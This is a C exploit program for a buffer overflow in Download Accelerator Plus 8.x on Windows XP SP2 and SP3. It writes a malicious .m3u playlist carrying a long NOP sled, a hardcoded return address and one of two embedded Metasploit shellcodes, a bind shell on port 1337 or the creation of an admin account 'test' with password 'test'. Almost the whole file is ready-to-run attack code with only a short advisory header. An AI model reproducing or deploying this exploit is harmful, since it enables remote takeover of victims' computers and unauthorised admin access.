dap8x-overflow.txt

`#include <stdio.h>  
#include <stdlib.h>  
/*  
DAP 8.x (.m3u) File BOF C Exploit for XP SP2,SP3 English  
  
SecurityFocus Advisory:  
Download Accelerator Plus (DAP) is prone to a buffer-overflow vulnerability   
because it fails to perform adequate boundary checks on user-supplied input.  
Successfully exploiting this issue may allow remote attackers to execute   
arbitrary code in the context of the application.Failed exploit attempts   
will cause denial-of-service conditions.  
  
Vulnerability discoverd by Krystian Kloskowski (h07) <[email protected]>  
Original POC by h07 http://www.milw0rm.com/exploits/6030  
  
This poc will create a "special" .m3u file that when imported in DAP and then checked with   
the verifiy button will cause a buffer overflow and lead to exploitation.Run the program   
with no args for usage info or just look in the code. :P  
  
Tested on Windows XP English sp2&sp3.  
  
C Exploit code by Shinnok raydenxy [at] yahoo dot com  
/*  
  
/* win32_bind - EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com */  
unsigned char bind_scode[] =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"  
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58"  
"\x4e\x36\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x48\x4e\x57"  
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"  
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38"  
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x45\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x58"  
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"  
"\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x48"  
"\x49\x38\x4e\x36\x46\x32\x4e\x51\x41\x36\x43\x4c\x41\x33\x4b\x4d"  
"\x46\x36\x4b\x38\x43\x54\x42\x53\x4b\x38\x42\x34\x4e\x50\x4b\x58"  
"\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x50\x50\x55\x4a\x36"  
"\x50\x58\x50\x34\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x56"  
"\x43\x55\x48\x56\x4a\x36\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x47"  
"\x44\x53\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"  
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e"  
"\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x50"  
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"  
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x44"  
"\x43\x45\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x45\x50"  
"\x49\x43\x48\x56\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a"  
"\x4c\x31\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x31"  
"\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"  
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"  
"\x4a\x36\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x55\x4f\x4f\x48\x4d"  
"\x42\x55\x46\x55\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"  
"\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"  
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x46"  
"\x4d\x46\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x55\x49\x42\x4e\x4c"  
"\x49\x58\x47\x4e\x4c\x46\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"  
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x42"  
"\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"  
"\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f"  
"\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x46"  
"\x41\x50\x41\x35\x41\x45\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36"  
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"  
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f"  
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"  
"\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x55\x43\x35\x4f\x4f\x48\x4d"  
"\x4f\x4f\x42\x4d\x5a";  
  
/* win32_adduser - PASS=test EXITFUNC=seh USER=test Size=489 Encoder=PexAlphaNum http://metasploit.com */  
unsigned char user_scode[] =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"  
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x33\x4b\x58\x4e\x57"  
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58"  
"\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"  
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"  
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x54"  
"\x4b\x58\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58"  
"\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"  
"\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"  
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"  
"\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47"  
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x36\x4a\x39"  
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x4d\x46"  
"\x46\x46\x50\x42\x45\x56\x4a\x47\x45\x46\x42\x52\x4f\x52\x43\x36"  
"\x42\x32\x50\x46\x45\x46\x46\x57\x42\x52\x45\x47\x43\x37\x45\x36"  
"\x44\x37\x42\x32\x46\x37\x45\x36\x43\x47\x46\x37\x42\x42\x46\x37"  
"\x45\x36\x43\x37\x46\x37\x42\x52\x4f\x52\x41\x44\x46\x54\x46\x44"  
"\x42\x52\x48\x42\x48\x32\x42\x32\x50\x36\x45\x56\x46\x57\x42\x42"  
"\x4e\x36\x4f\x36\x43\x56\x41\x36\x4e\x56\x47\x46\x44\x37\x4f\x36"  
"\x45\x37\x42\x37\x42\x42\x41\x34\x46\x46\x4d\x56\x49\x56\x50\x46"  
"\x49\x56\x43\x57\x46\x37\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37"  
"\x43\x57\x42\x52\x46\x47\x45\x56\x43\x37\x46\x47\x42\x32\x4f\x52"  
"\x41\x34\x46\x34\x46\x34\x42\x30\x5a";  
  
  
  
unsigned char ra_sp2[] = "\xcf\xbc\x08\x76"; //msvcp60.dll  
unsigned char ra_sp3[] = "\xe1\xbc\x08\x76"; //msvcp60.dll  
  
unsigned char nops1[14115]; //14115 * \x90  
unsigned char nops2[30]; //30 * \x90  
  
int main(int argc, char **argv)  
{  
int i;  
FILE* f;  
char* ra=NULL;  
char* scode=NULL;  
printf("[+] Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability\n");  
printf("[+] Discovered by Krystian Kloskowski (h07) <[email protected]>\n");  
printf("[+] Code by Shinnok raydenxy[at]yahoo dot com\n");  
if ((argc!=3)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))||((atoi(argv[2])!=0)&&(atoi(argv[2])!=1))){  
printf("Usage: %s target payload\n",argv[0]);  
printf("Where target is:\n");  
printf("0: WinXP SP2\n");  
printf("1: WinXP SP3\n");  
printf("Where payload is:\n");  
printf("0: bind shell on 1337\n");  
printf("1: add admin user \"test\" with password \"test\"\n");  
return EXIT_SUCCESS;  
}  
for(i=0;i<14115;i++) nops1[i]='\x90';  
nops1[14115]='\0';  
for(i=0;i<30;i++) nops2[i]='\x90';  
nops2[30]='\0';  
if(atoi(argv[1])==0) ra=ra_sp2;  
else ra=ra_sp3;  
if(atoi(argv[2])==0) scode=bind_scode;  
else scode=user_scode;  
f=fopen("sploit.m3u","wb");   
fprintf(f,"http://localhost/%s%s%s%s.mp3%c%c",nops1,ra,nops2,scode,'\xd','\xa');  
fflush(f);   
fclose(f);  
printf("sploit.m3u created!\n");  
return EXIT_SUCCESS;  
}  
`